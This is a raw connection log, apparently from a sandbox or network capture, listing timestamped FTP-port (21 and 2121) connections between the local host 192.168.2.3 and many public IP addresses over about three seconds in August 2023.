Aug 23, 2023 09:16:26.339132071 CEST	52080	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:26.349308968 CEST	52020	2121	192.168.2.3	73.84.212.167
Aug 23, 2023 09:16:26.351308107 CEST	52021	21	192.168.2.3	211.49.103.112
Aug 23, 2023 09:16:26.355387926 CEST	21	52080	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:26.355643034 CEST	21	52080	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:26.355994940 CEST	52080	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:26.363322973 CEST	2121	52076	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:26.364790916 CEST	52076	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:26.372190952 CEST	21	52080	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:26.396156073 CEST	52022	2121	192.168.2.3	211.49.103.112
Aug 23, 2023 09:16:26.399991989 CEST	2121	52076	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:26.400281906 CEST	2121	52076	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:26.400362015 CEST	52076	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:26.415769100 CEST	52076	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:26.416503906 CEST	52083	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:26.427400112 CEST	52023	21	192.168.2.3	69.131.222.11
Aug 23, 2023 09:16:26.434314013 CEST	21	52080	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:26.434704065 CEST	52080	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:26.447069883 CEST	52084	21	192.168.2.3	182.181.79.167
Aug 23, 2023 09:16:26.447805882 CEST	52085	2121	192.168.2.3	182.181.79.167
Aug 23, 2023 09:16:26.448103905 CEST	2121	52076	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:26.448324919 CEST	2121	52083	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:26.448477030 CEST	52083	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:26.450808048 CEST	21	52080	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:26.450895071 CEST	21	52080	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:26.450933933 CEST	21	52080	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:26.450989008 CEST	52080	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:26.451080084 CEST	52080	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:26.451756954 CEST	52086	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:26.462943077 CEST	21	52078	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:26.467210054 CEST	21	52080	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:26.467943907 CEST	21	52086	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:26.468066931 CEST	52086	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:26.474395037 CEST	52024	2121	192.168.2.3	69.131.222.11
Aug 23, 2023 09:16:26.474611044 CEST	52025	21	192.168.2.3	191.43.6.202
Aug 23, 2023 09:16:26.484173059 CEST	21	52050	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:26.484344006 CEST	21	52050	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:26.484380960 CEST	21	52050	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:26.484544992 CEST	52050	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:26.505580902 CEST	52078	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:26.521183014 CEST	52055	21	192.168.2.3	121.139.250.179
Aug 23, 2023 09:16:26.536828995 CEST	52031	21	192.168.2.3	71.198.70.240
Aug 23, 2023 09:16:26.536842108 CEST	52029	21	192.168.2.3	123.27.242.233
Aug 23, 2023 09:16:26.536842108 CEST	52028	2121	192.168.2.3	71.207.120.186
Aug 23, 2023 09:16:26.536842108 CEST	52026	2121	192.168.2.3	191.43.6.202
Aug 23, 2023 09:16:26.536875963 CEST	52035	21	192.168.2.3	40.88.224.99
Aug 23, 2023 09:16:26.536876917 CEST	52033	21	192.168.2.3	173.170.210.12
Aug 23, 2023 09:16:26.536876917 CEST	52032	2121	192.168.2.3	71.198.70.240
Aug 23, 2023 09:16:26.536879063 CEST	52034	2121	192.168.2.3	173.170.210.12
Aug 23, 2023 09:16:26.536880016 CEST	52027	21	192.168.2.3	71.207.120.186
Aug 23, 2023 09:16:26.642110109 CEST	2121	52083	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:26.646285057 CEST	52036	2121	192.168.2.3	40.88.224.99
Aug 23, 2023 09:16:26.660777092 CEST	21	52086	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:26.661799908 CEST	52060	2121	192.168.2.3	3.38.244.84
Aug 23, 2023 09:16:26.677440882 CEST	52058	2121	192.168.2.3	121.139.250.179
Aug 23, 2023 09:16:26.693140984 CEST	52083	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:26.708704948 CEST	52086	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:26.711874008 CEST	52059	21	192.168.2.3	3.38.244.84
Aug 23, 2023 09:16:26.755650043 CEST	52074	21	192.168.2.3	106.246.76.6
Aug 23, 2023 09:16:26.759906054 CEST	52075	2121	192.168.2.3	106.246.76.6
Aug 23, 2023 09:16:26.779073000 CEST	21	52055	121.139.250.179	192.168.2.3
Aug 23, 2023 09:16:26.880645990 CEST	52039	2121	192.168.2.3	20.159.35.137
Aug 23, 2023 09:16:26.880683899 CEST	52038	21	192.168.2.3	20.159.35.137
Aug 23, 2023 09:16:26.909106970 CEST	2121	52060	3.38.244.84	192.168.2.3
Aug 23, 2023 09:16:26.934581041 CEST	2121	52058	121.139.250.179	192.168.2.3
Aug 23, 2023 09:16:26.956648111 CEST	52050	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:26.956933022 CEST	52078	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:26.957143068 CEST	52086	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:26.957320929 CEST	52083	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:26.958766937 CEST	52040	21	192.168.2.3	78.37.247.69
Aug 23, 2023 09:16:26.959750891 CEST	52087	2121	192.168.2.3	12.130.153.8
Aug 23, 2023 09:16:26.960021019 CEST	52088	21	192.168.2.3	82.73.193.130
Aug 23, 2023 09:16:26.961168051 CEST	52089	21	192.168.2.3	221.164.227.94
Aug 23, 2023 09:16:26.961206913 CEST	52090	2121	192.168.2.3	221.164.227.94
Aug 23, 2023 09:16:26.961400032 CEST	52092	21	192.168.2.3	173.176.172.245
Aug 23, 2023 09:16:26.961504936 CEST	52093	2121	192.168.2.3	173.176.172.245
Aug 23, 2023 09:16:26.961601973 CEST	52094	21	192.168.2.3	12.130.153.8
Aug 23, 2023 09:16:26.961628914 CEST	52095	2121	192.168.2.3	82.73.193.130
Aug 23, 2023 09:16:26.961761951 CEST	52096	21	192.168.2.3	170.82.58.20
Aug 23, 2023 09:16:26.962141991 CEST	52097	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:26.966929913 CEST	52091	2121	192.168.2.3	170.82.58.20
Aug 23, 2023 09:16:26.973370075 CEST	21	52086	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:26.974364996 CEST	21	52086	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:26.975971937 CEST	52086	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:26.984097004 CEST	21	52059	3.38.244.84	192.168.2.3
Aug 23, 2023 09:16:26.985078096 CEST	52098	21	192.168.2.3	23.218.132.230
Aug 23, 2023 09:16:26.989193916 CEST	2121	52083	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:26.989986897 CEST	52041	2121	192.168.2.3	78.37.247.69
Aug 23, 2023 09:16:26.990560055 CEST	2121	52083	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:26.990892887 CEST	52083	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:26.992276907 CEST	21	52086	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:27.011769056 CEST	2121	52075	106.246.76.6	192.168.2.3
Aug 23, 2023 09:16:27.018654108 CEST	21	52074	106.246.76.6	192.168.2.3
Aug 23, 2023 09:16:27.025635958 CEST	2121	52083	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:27.068123102 CEST	52083	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:27.075272083 CEST	21	52086	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:27.103637934 CEST	21	52069	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:27.125204086 CEST	52086	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:27.125436068 CEST	52069	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:27.125683069 CEST	52083	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:27.125850916 CEST	52099	21	192.168.2.3	162.215.108.74
Aug 23, 2023 09:16:27.126441002 CEST	52100	2121	192.168.2.3	23.218.132.230
Aug 23, 2023 09:16:27.128206015 CEST	21	52078	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:27.129302025 CEST	2121	52087	12.130.153.8	192.168.2.3
Aug 23, 2023 09:16:27.129658937 CEST	21	52078	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:27.131040096 CEST	21	52094	12.130.153.8	192.168.2.3
Aug 23, 2023 09:16:27.137711048 CEST	52078	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:27.141561985 CEST	21	52086	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:27.141609907 CEST	21	52086	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:27.141648054 CEST	21	52086	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:27.141865969 CEST	52086	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:27.150824070 CEST	52086	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:27.153103113 CEST	52101	2121	192.168.2.3	162.215.108.74
Aug 23, 2023 09:16:27.153125048 CEST	52102	21	192.168.2.3	62.102.252.16
Aug 23, 2023 09:16:27.153323889 CEST	52103	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:27.158410072 CEST	2121	52083	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:27.159081936 CEST	2121	52083	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:27.159163952 CEST	52083	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:27.159965038 CEST	52083	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:27.160557985 CEST	52104	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:27.167215109 CEST	21	52086	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:27.169589043 CEST	21	52103	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:27.169693947 CEST	52103	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:27.169987917 CEST	21	52050	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:27.175806999 CEST	21	52097	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:27.175936937 CEST	52097	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:27.189574957 CEST	2121	52104	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:27.190829992 CEST	52104	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:27.191656113 CEST	2121	52083	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:27.208887100 CEST	52046	21	192.168.2.3	20.50.181.213
Aug 23, 2023 09:16:27.216041088 CEST	21	52096	170.82.58.20	192.168.2.3
Aug 23, 2023 09:16:27.217196941 CEST	2121	52091	170.82.58.20	192.168.2.3
Aug 23, 2023 09:16:27.226099968 CEST	52105	2121	192.168.2.3	62.102.252.16
Aug 23, 2023 09:16:27.226706982 CEST	52106	21	192.168.2.3	121.171.122.206
Aug 23, 2023 09:16:27.227422953 CEST	52107	2121	192.168.2.3	121.171.122.206
Aug 23, 2023 09:16:27.227896929 CEST	52108	21	192.168.2.3	115.66.76.61
Aug 23, 2023 09:16:27.228645086 CEST	52109	2121	192.168.2.3	115.66.76.61
Aug 23, 2023 09:16:27.229257107 CEST	52110	21	192.168.2.3	104.106.166.75
Aug 23, 2023 09:16:27.231328964 CEST	52111	2121	192.168.2.3	104.106.166.75
Aug 23, 2023 09:16:27.271204948 CEST	52047	2121	192.168.2.3	20.50.181.213
Aug 23, 2023 09:16:27.302596092 CEST	52048	21	192.168.2.3	104.174.131.199
Aug 23, 2023 09:16:27.304303885 CEST	21	52099	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:27.304481030 CEST	52099	21	192.168.2.3	162.215.108.74
Aug 23, 2023 09:16:27.306720972 CEST	21	52102	62.102.252.16	192.168.2.3
Aug 23, 2023 09:16:27.306775093 CEST	2121	52105	62.102.252.16	192.168.2.3
Aug 23, 2023 09:16:27.309827089 CEST	21	52078	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:27.310271978 CEST	52078	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:27.331525087 CEST	2121	52101	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:27.351644993 CEST	21	52103	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:27.354074001 CEST	21	52069	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:27.354518890 CEST	21	52069	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:27.394452095 CEST	2121	52104	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:27.395742893 CEST	21	52097	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:27.428886890 CEST	52103	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:27.429155111 CEST	52104	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:27.429187059 CEST	52069	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:27.429582119 CEST	52097	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:27.445468903 CEST	21	52103	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:27.447154045 CEST	21	52103	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:27.458525896 CEST	2121	52104	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:27.459640026 CEST	2121	52104	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:27.481936932 CEST	21	52078	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:27.481972933 CEST	21	52078	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:27.482106924 CEST	52078	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:27.484206915 CEST	21	52099	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:27.505723000 CEST	52104	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:27.526184082 CEST	52099	21	192.168.2.3	162.215.108.74
Aug 23, 2023 09:16:27.526364088 CEST	52078	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:27.643321991 CEST	21	52097	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:27.646349907 CEST	52094	21	192.168.2.3	12.130.153.8
Aug 23, 2023 09:16:27.658313990 CEST	21	52069	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:27.661946058 CEST	52074	21	192.168.2.3	106.246.76.6
Aug 23, 2023 09:16:27.663988113 CEST	52103	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:27.663995981 CEST	52075	2121	192.168.2.3	106.246.76.6
Aug 23, 2023 09:16:27.664067030 CEST	52087	2121	192.168.2.3	12.130.153.8
Aug 23, 2023 09:16:27.674411058 CEST	21	52103	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:27.676021099 CEST	52103	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:27.698026896 CEST	21	52078	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:27.704633951 CEST	21	52099	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:27.707710028 CEST	21	52099	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:27.707890034 CEST	52099	21	192.168.2.3	162.215.108.74
Aug 23, 2023 09:16:27.707890034 CEST	52099	21	192.168.2.3	162.215.108.74
Aug 23, 2023 09:16:27.724452972 CEST	52091	2121	192.168.2.3	170.82.58.20
Aug 23, 2023 09:16:27.816255093 CEST	21	52094	12.130.153.8	192.168.2.3
Aug 23, 2023 09:16:27.834212065 CEST	2121	52087	12.130.153.8	192.168.2.3
Aug 23, 2023 09:16:27.865103960 CEST	49948	21	192.168.2.3	199.188.201.19
Aug 23, 2023 09:16:27.865128994 CEST	52069	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:27.865225077 CEST	52102	21	192.168.2.3	62.102.252.16
Aug 23, 2023 09:16:27.867993116 CEST	52105	2121	192.168.2.3	62.102.252.16
Aug 23, 2023 09:16:27.868019104 CEST	52096	21	192.168.2.3	170.82.58.20
Aug 23, 2023 09:16:27.868019104 CEST	52101	2121	192.168.2.3	162.215.108.74
Aug 23, 2023 09:16:27.916138887 CEST	2121	52075	106.246.76.6	192.168.2.3
Aug 23, 2023 09:16:27.927592993 CEST	21	52074	106.246.76.6	192.168.2.3
Aug 23, 2023 09:16:27.979641914 CEST	2121	52091	170.82.58.20	192.168.2.3
Aug 23, 2023 09:16:28.005748034 CEST	52053	21	192.168.2.3	20.58.174.143
Aug 23, 2023 09:16:28.007148027 CEST	52054	2121	192.168.2.3	20.58.174.143
Aug 23, 2023 09:16:28.046364069 CEST	2121	52101	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:28.053042889 CEST	52052	2121	192.168.2.3	104.174.131.199
Aug 23, 2023 09:16:28.099853992 CEST	21	52102	62.102.252.16	192.168.2.3
Aug 23, 2023 09:16:28.099910975 CEST	2121	52105	62.102.252.16	192.168.2.3
Aug 23, 2023 09:16:28.123133898 CEST	21	52096	170.82.58.20	192.168.2.3
Aug 23, 2023 09:16:28.162007093 CEST	52061	21	192.168.2.3	71.225.40.65
Aug 23, 2023 09:16:28.224476099 CEST	52062	21	192.168.2.3	83.90.167.8
Aug 23, 2023 09:16:28.308304071 CEST	52104	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:28.308394909 CEST	52103	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:28.310512066 CEST	52069	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:28.313209057 CEST	52112	21	192.168.2.3	37.68.56.244
Aug 23, 2023 09:16:28.313525915 CEST	52113	2121	192.168.2.3	79.154.27.80
Aug 23, 2023 09:16:28.313626051 CEST	52114	2121	192.168.2.3	173.245.64.192
Aug 23, 2023 09:16:28.313771009 CEST	52115	2121	192.168.2.3	82.194.44.194
Aug 23, 2023 09:16:28.313821077 CEST	52116	2121	192.168.2.3	34.168.130.46
Aug 23, 2023 09:16:28.313976049 CEST	52117	21	192.168.2.3	34.168.130.46
Aug 23, 2023 09:16:28.313976049 CEST	52118	2121	192.168.2.3	89.211.195.93
Aug 23, 2023 09:16:28.314027071 CEST	52121	2121	192.168.2.3	37.68.56.244
Aug 23, 2023 09:16:28.314066887 CEST	52119	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:28.314152956 CEST	52122	21	192.168.2.3	82.194.44.194
Aug 23, 2023 09:16:28.314182997 CEST	52123	21	192.168.2.3	173.245.64.192
Aug 23, 2023 09:16:28.314215899 CEST	52124	21	192.168.2.3	89.211.195.93
Aug 23, 2023 09:16:28.314233065 CEST	52120	21	192.168.2.3	79.154.27.80
Aug 23, 2023 09:16:28.324759960 CEST	21	52103	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:28.333823919 CEST	52094	21	192.168.2.3	12.130.153.8
Aug 23, 2023 09:16:28.340476036 CEST	2121	52104	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:28.340905905 CEST	52104	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:28.365165949 CEST	52087	2121	192.168.2.3	12.130.153.8
Aug 23, 2023 09:16:28.365176916 CEST	52064	2121	192.168.2.3	83.90.167.8
Aug 23, 2023 09:16:28.365175962 CEST	52063	2121	192.168.2.3	71.225.40.65
Aug 23, 2023 09:16:28.370182991 CEST	2121	52104	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:28.370693922 CEST	2121	52104	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:28.370785952 CEST	52104	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:28.418653011 CEST	21	52103	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:28.485590935 CEST	21	52119	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:28.485670090 CEST	52119	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:28.490458012 CEST	52066	21	192.168.2.3	98.61.218.89
Aug 23, 2023 09:16:28.492212057 CEST	52091	2121	192.168.2.3	170.82.58.20
Aug 23, 2023 09:16:28.503444910 CEST	21	52094	12.130.153.8	192.168.2.3
Aug 23, 2023 09:16:28.534858942 CEST	2121	52087	12.130.153.8	192.168.2.3
Aug 23, 2023 09:16:28.539196014 CEST	21	52069	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:28.539269924 CEST	21	52069	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:28.539320946 CEST	52069	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:28.552592993 CEST	52067	2121	192.168.2.3	98.61.218.89
Aug 23, 2023 09:16:28.552668095 CEST	52101	2121	192.168.2.3	162.215.108.74
Aug 23, 2023 09:16:28.552675962 CEST	52103	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:28.593272924 CEST	52104	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:28.594368935 CEST	52069	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:28.621737003 CEST	52103	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:28.622190952 CEST	2121	52104	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:28.625565052 CEST	52125	21	192.168.2.3	70.75.182.22
Aug 23, 2023 09:16:28.625644922 CEST	52126	2121	192.168.2.3	86.22.214.170
Aug 23, 2023 09:16:28.625819921 CEST	52127	2121	192.168.2.3	70.75.182.22
Aug 23, 2023 09:16:28.625915051 CEST	52128	21	192.168.2.3	86.22.214.170
Aug 23, 2023 09:16:28.626050949 CEST	52129	21	192.168.2.3	198.232.119.10
Aug 23, 2023 09:16:28.626105070 CEST	52130	2121	192.168.2.3	198.232.119.10
Aug 23, 2023 09:16:28.630480051 CEST	52131	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:28.630594015 CEST	52133	21	192.168.2.3	71.51.97.175
Aug 23, 2023 09:16:28.630605936 CEST	52132	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:28.630623102 CEST	52135	2121	192.168.2.3	5.58.156.223
Aug 23, 2023 09:16:28.630667925 CEST	52134	2121	192.168.2.3	71.51.97.175
Aug 23, 2023 09:16:28.630700111 CEST	52137	21	192.168.2.3	182.228.139.206
Aug 23, 2023 09:16:28.630969048 CEST	52136	21	192.168.2.3	5.58.156.223
Aug 23, 2023 09:16:28.630974054 CEST	52138	2121	192.168.2.3	182.228.139.206
Aug 23, 2023 09:16:28.631051064 CEST	52139	21	192.168.2.3	72.220.37.29
Aug 23, 2023 09:16:28.631117105 CEST	52140	2121	192.168.2.3	72.220.37.29
Aug 23, 2023 09:16:28.631169081 CEST	52142	21	192.168.2.3	76.50.93.60
Aug 23, 2023 09:16:28.631212950 CEST	52141	21	192.168.2.3	18.212.131.200
Aug 23, 2023 09:16:28.631234884 CEST	52143	2121	192.168.2.3	18.212.131.200
Aug 23, 2023 09:16:28.637996912 CEST	21	52103	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:28.638227940 CEST	21	52103	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:28.638407946 CEST	21	52103	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:28.638427973 CEST	52103	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:28.638473988 CEST	52103	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:28.639019012 CEST	52144	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:28.654582977 CEST	21	52103	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:28.655236959 CEST	21	52144	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:28.655631065 CEST	52144	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:28.659775972 CEST	2121	52131	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:28.659852028 CEST	52131	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:28.661988020 CEST	52102	21	192.168.2.3	62.102.252.16
Aug 23, 2023 09:16:28.662004948 CEST	52105	2121	192.168.2.3	62.102.252.16
Aug 23, 2023 09:16:28.662005901 CEST	52096	21	192.168.2.3	170.82.58.20
Aug 23, 2023 09:16:28.662887096 CEST	52145	2121	192.168.2.3	76.50.93.60
Aug 23, 2023 09:16:28.665770054 CEST	21	52097	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:28.666030884 CEST	52097	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:28.670574903 CEST	2121	52135	5.58.156.223	192.168.2.3
Aug 23, 2023 09:16:28.670609951 CEST	21	52136	5.58.156.223	192.168.2.3
Aug 23, 2023 09:16:28.696022034 CEST	21	52102	62.102.252.16	192.168.2.3
Aug 23, 2023 09:16:28.696091890 CEST	2121	52105	62.102.252.16	192.168.2.3
Aug 23, 2023 09:16:28.704350948 CEST	52146	2121	192.168.2.3	31.23.125.241
Aug 23, 2023 09:16:28.704533100 CEST	52147	21	192.168.2.3	31.23.125.241
Aug 23, 2023 09:16:28.717911005 CEST	2121	52131	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:28.718266010 CEST	52131	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:28.730592966 CEST	2121	52101	162.215.108.74	192.168.2.3
Aug 23, 2023 09:16:28.731394053 CEST	52148	21	192.168.2.3	183.109.209.72
Aug 23, 2023 09:16:28.745336056 CEST	2121	52091	170.82.58.20	192.168.2.3
Aug 23, 2023 09:16:28.746243954 CEST	52149	2121	192.168.2.3	183.109.209.72
Aug 23, 2023 09:16:28.747389078 CEST	2121	52131	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:28.747781038 CEST	2121	52143	18.212.131.200	192.168.2.3
Aug 23, 2023 09:16:28.747818947 CEST	21	52141	18.212.131.200	192.168.2.3
Aug 23, 2023 09:16:28.748991966 CEST	2121	52131	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:28.749439955 CEST	52131	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:28.781486988 CEST	2121	52131	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:28.807029009 CEST	52131	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:28.823149920 CEST	21	52069	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:28.837054968 CEST	2121	52131	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:28.837260962 CEST	2121	52131	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:28.837336063 CEST	52131	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:28.837336063 CEST	52131	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:28.837848902 CEST	52150	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:28.850898981 CEST	21	52144	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:28.851491928 CEST	52144	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:28.858287096 CEST	21	52132	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:28.858411074 CEST	52132	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:28.866667986 CEST	2121	52131	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:28.867727041 CEST	21	52144	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:28.867999077 CEST	21	52144	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:28.869266033 CEST	52144	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:28.869654894 CEST	2121	52150	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:28.869749069 CEST	52150	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:28.875025988 CEST	21	52119	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:28.879435062 CEST	21	52097	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:28.879563093 CEST	21	52097	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:28.879597902 CEST	21	52097	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:28.879717112 CEST	52097	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:28.889127016 CEST	21	52144	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:28.892106056 CEST	52097	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:28.892390966 CEST	52119	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:28.902501106 CEST	52151	21	192.168.2.3	4.154.118.69
Aug 23, 2023 09:16:28.902538061 CEST	52152	2121	192.168.2.3	4.154.118.69
Aug 23, 2023 09:16:28.902825117 CEST	52153	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:28.915736914 CEST	21	52096	170.82.58.20	192.168.2.3
Aug 23, 2023 09:16:28.916611910 CEST	52154	21	192.168.2.3	100.8.96.229
